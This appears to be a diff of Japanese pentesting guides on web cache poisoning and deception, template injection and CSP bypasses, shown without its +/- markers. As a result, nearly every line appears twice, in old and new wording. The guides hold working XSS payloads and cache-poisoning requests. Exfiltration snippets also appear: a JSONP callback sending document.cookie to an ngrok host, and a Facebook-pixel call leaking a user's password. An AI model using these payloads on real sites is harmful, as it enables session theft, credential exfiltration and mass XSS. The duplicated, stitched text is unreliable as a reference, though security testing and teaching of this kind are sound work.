1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必須ではないパラメータですが、サーバーが返す応答を変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーの応答を変更するためにこれらのパラメータを誤用する方法を見つけることです。
3. **汚染された応答がキャッシュされることを確認**:最終ステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。
1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必要ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータを誤用する方法を見つけることです。
3. **汚染されたレスポンスがキャッシュされることを確認**:最後のステップは、操作されたレスポンスがキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
### 発見HTTPヘッダーを確認
通常、**キャッシュに保存された**応答には、**それを示すヘッダー**があります。この投稿で注意すべきヘッダーを確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
通常、レスポンスが**キャッシュに保存された**場合、**それを示すヘッダーがあります**。どのヘッダーに注意を払うべきかは、この投稿で確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### 発見:キャッシュエラーコード
応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコード**であれば、それが脆弱であることがわかりますさらにはDoS攻撃を実行することも可能です
レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかりますさらにはDoS攻撃を実行することも可能です
さらにオプションを見つけることができます:
@ -37,26 +37,26 @@ cache-poisoning-to-dos.md
### 発見:キーのない入力を特定し評価する
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページの応答を変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります:
```markup
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### バックエンドサーバーから有害な応答を引き出す
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用することはできますかXSSを実行する、あなたが制御するJSコードを読み込む DoSを実行する...
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用することはできますかXSSを実行する、またはあなたが制御するJSコードを読み込むDoSを実行する...
### 応答をキャッシュさせる
悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、および**どのように**悪用するかを**特定**したら、そのページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**どのように**悪用するかが分かったら、そのページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回そのリソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ユーザーがターゲットとしている被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。
リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キーとして使用される可能性**があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
リクエストをキャッシュする際は、使用するヘッダーに**注意**してください。なぜなら、それらのいくつかは**予期せず**に**キーとして使用される**可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
## 悪用の例
@ -64,7 +64,7 @@ cache-poisoning-to-dos.md
`X-Forwarded-For`のようなヘッダーが、サニタイズされずに応答に反映されています。\
基本的なXSSペイロードを送信し、キャッシュを汚染することで、そのページにアクセスするすべての人がXSSされることになります:
```markup
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
@ -80,7 +80,7 @@ cache-poisoning-to-dos.md
### Using web cache poisoning to exploit cookie-handling vulnerabilities
クッキーはページのレスポンスに反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを利用できる可能性があります。
```markup
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが管理するドメインに設定し、`X-Forwarded-Scheme``http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
```markup
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
@ -116,8 +116,8 @@ X-Forwarded-Scheme: http
```
### 限定された `Vary` ヘッダーを利用した攻撃
もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されていることがわかり、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
```markup
もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されていることがわかり、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を外部に流出させ、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディからのリクエストを使用するが、キャッシュサーバーがURLからのリクエストをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように:
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -144,7 +144,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### HTTPキャッシュポイズニングの悪用
[Cache Poisoning攻撃をHTTPリクエストスムーグリングを悪用して実行する方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)についてここで学びます
[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)の実行方法について学びましょう
### Webキャッシュポイズニングの自動テスト
@ -156,7 +156,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントは無視されます)。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれました。
ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、クエリのみを使用して生成しました(フラグメントは無視されます)。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみでした。
### GitHub CP-DoS
@ -172,19 +172,19 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利
### 403とストレージバケット
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、キャッシュされた403レスポンスが返されました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
### キー付きパラメータの注入
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
### ユーザーエージェントルール
一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
### 不正なヘッダーフィールド
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字`\`を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字:`\`を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
### 新しいヘッダーの発見
@ -192,9 +192,9 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
## キャッシュデセプション
キャッシュデセプションの目的は、クライアントに**キャッシュによって保存されるリソースをその機密情報読み込ませる**ことです。
キャッシュデセプションの目的は、クライアントに**キャッシュによって保存されるリソースをその機密情報と共に読み込ませる**ことです。
まず、**拡張子**(例:`.css``.js``.png`など)が通常**キャッシュに保存される**ように**設定されている**ことに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらく`.js`**拡張子**を見てレスポンスを保存します。しかし、**アプリケーション**が_swww.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
まず、**拡張子**(例:`.css``.js``.png`など)が通常**キャッシュに保存される**ように**設定されている**ことに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`の**拡張子**を見ているからです。しかし、**アプリケーション**が_ www.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
他にテストすること:
@ -203,15 +203,15 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _あまり知られていない拡張子`.avif`を使用する_
- _あまり知られていない拡張子を使用する(例:`.avif`_
非常に明確な別の例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、存在しないページ(例:_http://www.example.com/home.php/non-existent.css_を読み込むと、_http://www.example.com/home.php_**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
**キャッシュプロキシ**は、ファイルの**拡張子**_.css_に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
**キャッシュプロキシ**は、ファイルの**拡張子**_.css_に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
[Cache Deceptions攻撃をHTTPリクエストスムーグリングを悪用して実行する方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)についてここで学びます
[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)の実行方法について学びましょう
## 自動ツール

View File

@ -31,7 +31,7 @@ AngularJSは、ディレクティブとして知られる属性を通じてHTML
動作するペイロード: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
脆弱な例の**ソースコード**はこちら: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
```html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```

View File

@ -6,7 +6,7 @@
コンテンツセキュリティポリシー (CSP) は、主に**クロスサイトスクリプティング (XSS) などの攻撃からの保護**を目的としたブラウザ技術として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval``setTimeout``setInterval` などの関数を通じて文字列コードの実行を含みます。
CSPの実装は、**レスポンスヘッダー**を通じて行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
CSPの実装は、**レスポンスヘッダー**を介して行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
- レスポンスヘッダーを介して実装される:
```
@ -52,10 +52,10 @@ object-src 'none';
- **object-src**: `<object>``<embed>`、および`<applet>`要素のために許可されたソースを定義します。
- **base-uri**: `<base>`要素を使用して読み込むための許可されたURLを指定します。
- **form-action**: フォーム送信のための有効なエンドポイントをリストします。
- **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。
- **plugin-types**: ページが呼び出すことができるmimeタイプを制限します。
- **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
- **sandbox**: `<iframe>`のsandbox属性に似た制限を適用します。
- **report-to**: ポリシーが違反された場合に報告が送信されるグループを指定します。
- **report-to**: ポリシーが違反された場合にレポートが送信されるグループを指定します。
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。
- **prefetch-src**: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。
- **navigate-to**: ドキュメントがあらゆる手段a、form、window.location、window.openなどでナビゲートできるURLを制限します。
@ -69,12 +69,12 @@ object-src 'none';
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
- `'unsafe-inline'`: インラインリソース(インライン`<script>``<style>`など)の使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'nonce'`: 暗号的なンス1回限り使用される番号を使用する特定のインラインスクリプトのホワイトリストです。
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能ですstrict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません。以下のように
- `'nonce'`: 暗号的なnonce1回使用される番号を使用して特定のインラインスクリプトのホワイトリストを作成します。
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用されたnonceを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能ですstrict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません。以下のように
<details>
<summary>ノンスを再利用してスクリプトを読み込む</summary>
<summary>nonceを再利用してスクリプトを読み込む</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -133,18 +133,18 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
動作するペイロード:
```markup
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-src と default-src の欠如
> [!CAUTION] > **これがもう機能していないようです**
> [!CAUTION] > **これはもはや機能していないようです**
```yaml
Content-Security-Policy: script-src 'self' ;
```
動作するペイロード:
```markup
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
@ -156,7 +156,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
JSファイルをアップロードできる場合、このCSPをバイパスできます
動作するペイロード:
```markup
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。
@ -165,18 +165,18 @@ JSファイルをアップロードできる場合、このCSPをバイパスで
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
### Form-action
### フォームアクション
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)ので、確認してください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
JSを注入することができない場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)も見てください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
### 第三者エンドポイント + ('unsafe-eval')
### サードパーティエンドポイント + ('unsafe-eval')
> [!WARNING]
> 次のペイロードのいくつかに対して**`unsafe-eval`は必要ない**場合もあります。
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
脆弱なバージョンのAngularをロードし、任意のJSを実行します:
脆弱なバージョンのangularをロードし、任意のJSを実行します:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
> [!NOTE]
> この投稿では、`cdn.cloudflare.com`または他の許可されたJSライブラリリポジトリからすべての**ライブラリ**を**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どのライブラリのどの関数が`window`オブジェクトを返すか**を確認できることが示されています。
```markup
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
@ -275,7 +275,7 @@ script.google.com内のページで情報を受け取るためにGoogle Apps Scr
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
このようなシナリオでは、`script-src``self`および特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード:
```markup
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
@ -322,14 +322,14 @@ Content-Security-Policy: connect-src www.facebook.com;
5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
次に、被害者側で、攻撃者のFacebook開発者アカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようにカスタムイベントを発行するためのコードを実行します。
次に、被害者側で、攻撃者のFacebook Developerアカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようにカスタムイベントを発行するためのコードを実行します。
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
前の表指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用に関する追加の説明については、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
前の表指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
### RPO相対パス上書きによるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
@ -357,16 +357,16 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### **base-uri** が欠落している
### **base-uri** が欠落している場合
**base-uri** ディレクティブが欠落している場合、[**ダングリングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を実行するために悪用できます。
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ** を悪用して **自分のサーバーからスクリプトを読み込ませ、XSSを達成することができます。**\
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ**を悪用して**自分のサーバーからスクリプトを読み込ませ、XSSを達成できます。**\
脆弱なページが **httpS** で読み込まれている場合、baseにhttpS URLを使用してください。
```html
<base href="https://www.attacker.com/" />
```
### AngularJS events
### AngularJSイベント
特定のポリシーであるContent Security Policy (CSP)は、JavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト`$event`を提供します。この`$event`オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、`$event/event`オブジェクトは`path`属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、`window`オブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JSアプリケーションでスクリプト読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、この[gitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)で入手できます。
Angular JSアプリケーションでスクリプト読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、この[gitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)で入手できます。
動作するペイロード:
```html
@ -421,13 +421,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
```
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`および`/a/test`スクリプトはCSPによってブロックされます。
しかし、最終的に`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
しかし、最終的に`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクションであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
このリダイレクトにより、たとえパスが完全に指定されていても、依然として回避されます。
このリダイレクションにより、パスが完全に指定されていても、依然として回避されます。
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
### ダングリングマークアップを使用したCSPのバイパス
